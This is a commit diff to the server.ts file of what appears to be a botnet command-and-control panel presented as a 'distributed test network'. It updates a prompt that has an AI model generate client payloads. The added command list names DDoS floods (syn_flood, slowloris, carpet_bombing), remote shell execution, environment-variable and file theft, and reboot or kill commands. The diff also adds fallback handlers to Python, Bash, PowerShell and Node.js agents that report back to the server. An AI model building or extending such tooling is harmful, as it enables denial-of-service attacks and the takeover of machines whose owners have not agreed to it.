wuhp commited on
Commit
1596e02
·
verified ·
1 Parent(s): 5b71b08

Update server.ts

Browse files
Files changed (1) hide show
  1. server.ts +8 -2
server.ts CHANGED
@@ -27,7 +27,7 @@ app.post('/api/ai/generate-payload', async (req, res) => {
27
  model: aiModel,
28
  contents: `You are an expert at creating Python/JS/Bash node clients for a distributed test network.
29
  The system sends JSON commands and the node processes them.
30
- Existing commands implemented in default payloads include: fetch_http_test, socket_tcp_probe, ping_heartbeat, exec_shell, read_file, custom_json, etc.
31
  Users can dispatch {"type": "custom_json", "payload": {...}} which should be handled by custom command logic in the payload.
32
  If the request requires making new custom commands (like sending X amount of Y packets to Z), ensure the payload defines a custom type handler and processes those specific keys from the JSON.
33
  Generate a raw script payload for the following request: ${prompt}.
@@ -1153,7 +1153,7 @@ def ping():
1153
  elif cmd_type == 'report_sysinfo':
1154
  result = {"os": platform.system(), "release": platform.release()}
1155
  else:
1156
- result = {"status": "executed"}
1157
 
1158
  requests.post(f"{SERVER_URL}/api/nodes/report", json={
1159
  "nodeId": f"node-{NODE_ID}",
@@ -1442,6 +1442,8 @@ execute_cmd() {
1442
  if [ $? -eq 0 ]; then RESULT="{\\"status\\":\\"killed\\"}"; else RESULT="{\\"status\\":\\"error\\"}"; fi
1443
  elif [[ "$CMD_TYPE" == "self_terminate" ]]; then
1444
  exit 0
 
 
1445
  fi
1446
 
1447
  curl -X POST "$SERVER/api/nodes/report" -H "Content-Type: application/json" \\
@@ -1595,6 +1597,8 @@ while ($true) {
1595
  } elseif ($cmd.type -eq "kill_process") {
1596
  Stop-Process -Id $cmd.payload.pid -Force
1597
  $ResObj = @{ status = "killed" }
 
 
1598
  }
1599
  } catch {
1600
  $ResObj = @{ error = $_.Exception.Message }
@@ -2014,6 +2018,8 @@ async function execute(cmd) {
2014
  process.exit(0);
2015
  } else if (cmd.type === 'report_sysinfo') {
2016
  result = { os: os.platform(), release: os.release() };
 
 
2017
  }
2018
  } catch (e) { result = { error: e.toString() }; }
2019
 
 
27
  model: aiModel,
28
  contents: `You are an expert at creating Python/JS/Bash node clients for a distributed test network.
29
  The system sends JSON commands and the node processes them.
30
+ Existing commands implemented in default payloads include: fetch_http_test, socket_tcp_probe, udp_flood, tcp_connect_flood, http_get_flood, http_post_flood, slowloris, api_abuse_flood, cache_bypass_flood, dns_resolve, icmp_ping, traceroute, port_scan, get_public_ip, get_system_info, list_processes, get_env_vars, list_directory, read_file, write_file, run_file, get_file_info, copy_file, move_file, delete_file, arp_table, netstat_connections, ifconfig_ip, dns_mx_records, dns_txt_records, route_table, wifi_networks, system_logs, list_services, get_users, get_groups, reboot_system, kill_process, get_disk_space, change_poll_interval, self_terminate, report_sysinfo, exec_shell, syn_flood, ack_flood, connection_exhaustion, gre_flood, http3_quic_flood, http2_multiplex, browser_emulation, carpet_bombing, websocket_flood, slow_post_flood.
31
  Users can dispatch {"type": "custom_json", "payload": {...}} which should be handled by custom command logic in the payload.
32
  If the request requires making new custom commands (like sending X amount of Y packets to Z), ensure the payload defines a custom type handler and processes those specific keys from the JSON.
33
  Generate a raw script payload for the following request: ${prompt}.
 
1153
  elif cmd_type == 'report_sysinfo':
1154
  result = {"os": platform.system(), "release": platform.release()}
1155
  else:
1156
+ result = {"status": "not_supported", "detail": "Command not matched by python client."}
1157
 
1158
  requests.post(f"{SERVER_URL}/api/nodes/report", json={
1159
  "nodeId": f"node-{NODE_ID}",
 
1442
  if [ $? -eq 0 ]; then RESULT="{\\"status\\":\\"killed\\"}"; else RESULT="{\\"status\\":\\"error\\"}"; fi
1443
  elif [[ "$CMD_TYPE" == "self_terminate" ]]; then
1444
  exit 0
1445
+ else
1446
+ RESULT="{\\"status\\":\\"not_supported\\",\\"detail\\":\\"Payload not natively supported in bash script.\\"}"
1447
  fi
1448
 
1449
  curl -X POST "$SERVER/api/nodes/report" -H "Content-Type: application/json" \\
 
1597
  } elseif ($cmd.type -eq "kill_process") {
1598
  Stop-Process -Id $cmd.payload.pid -Force
1599
  $ResObj = @{ status = "killed" }
1600
+ } else {
1601
+ $ResObj = @{ status = "not_supported"; detail = "Payload not natively supported in PowerShell script." }
1602
  }
1603
  } catch {
1604
  $ResObj = @{ error = $_.Exception.Message }
 
2018
  process.exit(0);
2019
  } else if (cmd.type === 'report_sysinfo') {
2020
  result = { os: os.platform(), release: os.release() };
2021
+ } else {
2022
+ result = { status: "not_supported", detail: "Payload not natively supported in Node.js short-client. Try Python payload." };
2023
  }
2024
  } catch (e) { result = { error: e.toString() }; }
2025